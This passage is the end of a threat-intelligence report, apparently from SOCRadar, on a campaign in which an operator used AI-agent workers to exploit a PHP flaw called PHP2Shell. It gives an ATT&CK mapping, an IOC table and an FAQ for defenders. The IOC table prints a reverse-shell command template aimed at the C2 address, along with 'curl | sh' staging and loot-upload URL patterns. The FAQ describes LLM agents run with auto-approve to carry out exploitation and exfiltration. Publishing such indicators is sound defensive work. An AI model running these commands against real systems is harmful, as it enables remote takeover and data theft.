| Defense Evasion | T1027 Obfuscated Files or Information | Reverse-shell commands split across echo/printf fragments |
| Defense Evasion | T1140 Deobfuscate/Decode Files or Information | Base64 staging of beacons and payloads |
| Defense Evasion | T1078.004 Cloud Accounts | Harvested cloud keys and role sessions used for follow-on enumeration |
| Credential Access | T1552.001 Credentials In Files | Secrets in configs, .env files and git history |
| Credential Access | T1552.004 Private Keys | SSH and certificate private keys collected |
| Credential Access | T1552.005 Cloud Instance Metadata API | ECS/IMDS role credential theft |
| Credential Access | T1555.001 Keychain | macOS keychain files from an education estate |
| Credential Access | T1555.003 Credentials from Web Browsers | Chrome Login Data stores |
| Credential Access | T1539 Steal Web Session Cookie | PHP, Symfony and Laravel session files |
| Credential Access | T1110.001 Password Guessing | WordPress XML-RPC guessing and credential-reuse attempts |
| Discovery | T1082 System Information Discovery | Collector host, OS and platform inventory |
| Discovery | T1083 File and Directory Discovery | Candidate file and web root enumeration |
| Discovery | T1016 System Network Configuration Discovery | Collector network inventory |
| Discovery | T1049 System Network Connections Discovery | /proc/net/tcp socket listing with owner uid |
| Discovery | T1057 Process Discovery | Collector process inventory |
| Discovery | T1033 System Owner/User Discovery | id, user and group collection |
| Discovery | T1087 Account Discovery | Local users and cloud-account enumeration |
| Collection | T1005 Data from Local System | Configs, sessions, uploads, database exports and git history |
| Collection | T1074.001 Local Data Staging | Fixed-layout bundles staged in /tmp |
| Collection | T1560.001 Archive via Utility | tar/gzip archives before upload |
| Collection | T1114 Email Collection | Mailbox exports and Nextcloud mail-account collection |
| Command and Control | T1071.001 Web Protocols | HTTP tool and loot service on port 8088 |
| Command and Control | T1571 Non-Standard Port | Reverse shells on 41000+ high ports |
| Command and Control | T1572 Protocol Tunneling | Dropbear reverse tunnel |
| Command and Control | T1105 Ingress Tool Transfer | Tool downloads from ports 8088 and 80 |
| Exfiltration | T1041 Exfiltration Over C2 Channel | Raw tarball POSTs to the C2 |
| Exfiltration | T1020 Automated Exfiltration | Automated upload chained from the collector and watcher |
Indicators of Compromise (IOCs)
For the extended IOC list, visit the SOCRadar platform.
| Type | Indicator | Note |
|---|---|---|
| IP | 206.245.153[.]56 | C2, reverse-shell destination, tool host and loot receiver |
| IP | 185.65.134[.]250 | Operator exploit / SSH source in 70 jobs (October 29–30, 2026) |
| IP | 157.180.96[.]7 | Operator AI lab and direct HTTP/SSH source (Hetzner) |
| Hostname | fedora-42.servers[.]guru | Operator host identity in an SSH key comment |
| IP:Port | 157.180.96[.]7:18941 | Operator lab rehearsal service |
| IP:Port | 157.180.96[.]7:18082 | AI-lab open directory (second exposure, found 2026-11-08) |
| IP:Port | 206.245.153[.]56:8088 | Tool server and loot receiver |
| IP:Port | 206.245.153[.]56:8091 | Operator home-directory listing |
| IP:Port | 206.245.153[.]56:80 | Per-job payload host (/j<job>.sh) |
| IP:Port | 206.245.153[.]56:41252, 41265, 41270, 41535, 41583, 41596, 42131, 42145, 42154, 42190, 42225, 42397, 42435, 42440, 49153 | Reverse-shell listeners seen in operator notes |
| IP:Port | 206.245.153[.]56:42104, 42422, 42425, 42428, 45454 | Reverse-shell listeners and auxiliary probe (previously reported) |
| IP:Port | 206.245.153[.]56:43402, 43485, 42366, 42292 | Dropbear reverse tunnels, j434 reverse shell, Nextcloud Beacon C2 socket |
| URL pattern | hxxp://206.245.153[.]56:8088/<job>/<name>.tgz | Loot upload (201 Created) |
| URL pattern | hxxp://206.245.153[.]56:8088/tools/{collect.sh, deep-loot.sh, persist2.sh, php-loot.php, j240_aws.php, j370_beacon.tgz} | Tool distribution |
| URL pattern | hxxp://206.245.153[.]56:8088/x280.sh | Full payload |
| URL pattern | hxxp://206.245.153[.]56/<job>.sh | curl | sh staging on port 80 |
| S3 endpoint | hxxps://s3.buckets[.]ninja | Operator MinIO storage |
| EVM wallet | 0x58da42285568A591680c08176b31880410bC097e | Operator crypto-swiper vault / withdrawal beneficiary (empty, nonce 0) |
| SSH key | SHA256:df46SXwY+KNwXge2LFHQ5u4RMsZ/McNgbcVVeEuA5vg | c2-agents (reused across C2 and victim persistence) |
| SSH key | SHA256:In7vhvAWa9Em6DaUnun9gPQNhi8DwmkFcJ8qdWLYWok | c2-w<n>-<victim-ip>-<port>-<job> |
| SSH key | SHA256:1L0YR2N+audSIVlLH9+VTlfH/1Upt+tfHkVKCGq66tg | j<job>-<victim-ip> |
| SSH key | SHA256:dtWAgMHYjIx9+wwazYjvFwy9JtkIkurghJkTE+xXqGs | j468-tunnel |
| SSH key | SHA256:HeHMVLT6LXy2NV2TC3bUTl+y6aZ1p9Tq+Ma5plktSFk | j434 key |
| SHA-256 | d01948e930848dd139915f646760e6dba61caf3eec222d5479518c19b5076ad2 | exploit_default.py |
| SHA-256 | 48df6ff05731bf735cb1914905191d01fcab59ffec5b002f73e235b2c021a267 | exploit_default_flen64.py |
| SHA-256 | 484e92ae0ceaa888459d2ad5260274923c58d8e8db5a5ff244cf7f9f90f3a1da | tools/collect.sh |
| SHA-256 | 84f161021452e58ce65dec9fee14dd77f4968fe54d284c4059c373388a31f594 | tools/deep-loot.sh |
| SHA-256 | 7befbc027e31c32437d82f70096cd9edd96ec98e88c6b3139e7fe640d02fec41 | j468/keep.sh (operator home copy) |
| SHA-256 | b889846842a168773a5b6382143792acd3a2310f5802d61f48805e1d38e6575b | j468/keep.sh (tool-service copy) |
| SHA-256 | c2d898f29b4c6058ba2587fa7477bac546c838b72e48ad42e5e4fa11ab799ba9 | LD_PRELOAD shim (j468 home) |
| SHA-256 | 1642c2de5949909d1470523337a0e50b844f26a1f018e6b6984a4ed815657d33 | LD_PRELOAD shim (j468 tool service) |
| SHA-256 | 57617d2d8a1cd7da3614b4329929df0d2f4a26fbbd79a418ec8623e83decf14f | LD_PRELOAD shim (j485) |
| SHA-256 | 93f8bcb90e608cdac0239d4218f31fb755357b056e862ce8b61df1026536d83d | j370_beacon.tgz (Nextcloud Beacon app) |
| SHA-256 | 7f1bd30c173af0e793f0a9a9ec44646131e8148fcb6fe64d00c06bf751a53d7d | j370_beacon.tgz (second copy) |
| SHA-256 | 4712fe539da6b81329dfe25d1b0e38a04539a68fac58bd8f6a537807b3f15cf5 | tools/j364_hook.php (webshell hook) |
| SHA-256 | 88b5ed6aa763acf5d11119d4cb53d9601533ab35371a4f5cb932991b19bfdef0 | tools/j240_aws.php (ECS credential helper) |
| SHA-256 | abaf7a73520ec77853d83ca1cd946a650291457b6303147cd6622fca5b8be39e | x280.sh |
| SHA-256 | 452776d0507e33e71982b0f2d7f928b1f2d60f852195b1d9aac6a5d71c019060 | tools/php-loot.php |
| SHA-256 | c66a3a56f75ef8d9ce79c3cf012ad77c166be10e4d0264a56ed96e67e15b27c1 | recon.sh |
| SHA-256 | 839f516d17cb0ebfdfa002f195299077198ec334f248b8084a954444ce3fbfdb | j434_campaign.py |
| SHA-256 | 3ae6c2d36edf2db4845db9f18e1ae865de4e784c9c807e6d89033bef21e284c5 | j434.sh |
| SHA-256 | ad06f3a8fd168659a72cea4ee1b105575f38c485e741776b1b097f6a79e43eae | tools/j373c.sh |
| SHA-256 | 6d10e9923374c2e11b6528a34f23356e3cb4aa5d2f11db35a35193550d0d2be3 | j474-watch.sh (end-to-end playbook) |
| SHA-256 | c56e18a28fd7a3bf59891df955f6f03b009b85ed00c5ff8539b545250c004924 | tools/cf.c (Copy Fail C port, variant 1) |
| SHA-256 | d8d17dcc97bbcb9c40219fa157a77c50be1d4c0c80cbd57a8b3eda0fcc42d9a1 | tools/cf.c (Copy Fail C port, variant 2) |
| SHA-256 | d2a6102d7f94a44e9aa517e3b9c3656d790b31b74c399c78cd3a0305f987f968 | tools/j396_dirtyc0w (public Dirty COW binary) |
| Path | /tmp/beacon.sh, /tmp/.c<job>, /tmp/j434.info | Beacon loop, job marker, triage output |
| Path | /var/www/html/.p/, 127.0.0.1:2222 | Dropbear staging directory and loopback listener |
| Path | ws/cron.php, .j313b.sh, .b1367.php, doc/thumb-<hex>.php?k=<token> | Webshell / persistence filenames |
| String | x7Q9m2 | Laravel route-cache backdoor token |
| String | bash -i >&/dev/tcp/206.245.153[.]56/<port> 0>&1 | Reverse-shell template |
| String | UPLOAD=201 | Collector success line beside the 8088 URL |
| String | maq-migration-157.180.96[.]7, root@debian-12, [email protected][.]guru | Key and host-key comments |
| Artifact | omp … worker.patched.ts –auto-approve –thinking high, maq-router.service, deepseek-v41-local | AI-agent worker and routing artifacts |
Frequently Asked Questions
How Did AI Agents Exploit PHP2Shell in This Campaign?
Eligible targets were queued into a self-built job orchestrator (maq) that dispatched 39 parallel omp workers backed by two self-hosted DeepSeek V4.1 endpoints. The workers verified target stacks, triggered memory leaks, calculated per-build offsets, created C2 records and ran exfiltration. The evidence points to a human-directed operation augmented by AI; end-to-end autonomous operation was not confirmed.
How Many Systems Were Compromised?
Across both exposed directories, the operator attacked 595 unique IPs in 57 countries, and 404 hosts are confirmed compromised. Interactive shells were documented on 217 hosts and only 12 reached root; most access ran as the unprivileged www-data user inside containers.
Was Any Cryptocurrency Stolen?
No theft was confirmed. Payouts, including a 456,900 USDC dev-account withdrawal, remained pending, 7.3 BTC in encrypted wallets stayed uncracked, and the operator’s vault (0x58da…097e) is empty. The only completed impact on this track was the exfiltration of about 3.3 million user records from an unauthenticated Redis instance.
Which Indicators Should Defenders Block?
Block and search telemetry for 206.245.153[.]56 (C2, tool host and loot receiver), 157.180.96[.]7 (the operator’s AI lab) and 185.65.134[.]250 (exploit and SSH source), with particular attention to port 8088 and reverse-shell ports 41000-49153. The full list is in the IOC section below.
How Can I Tell Whether My Server Was Compromised?
Check for /tmp/beacon.sh and /tmp/.c<id> markers, a /var/www/html/.p/ directory, a Dropbear listener on 127.0.0.1:2222, rogue auto_prepend_file directives, unfamiliar authorized_keys entries, PHP webshells such as doc/thumb-<hex>.php, and outbound connections to 206.245.153[.]56:8088.
Is Patching PHP Enough?
Upgrading to PHP 8.2.35, 8.3.36, 8.4.27, or 8.5.12 closes the entry point. A host compromised before the update still holds the operator’s webshells, SSH keys, cron beacons, and Dropbear tunnels, and stolen cloud keys and application secrets stay valid until they are rotated. Reimage compromised hosts where feasible, rotate every exposed secret, and audit cloud logs back to October 21, 2026.
Who Is Behind the Campaign?
No known threat group has been linked to the activity. SOCRadar assesses with moderate confidence that a financially motivated operator working in the initial-access-broker pattern ran it; confidence in the operator’s identity is low.

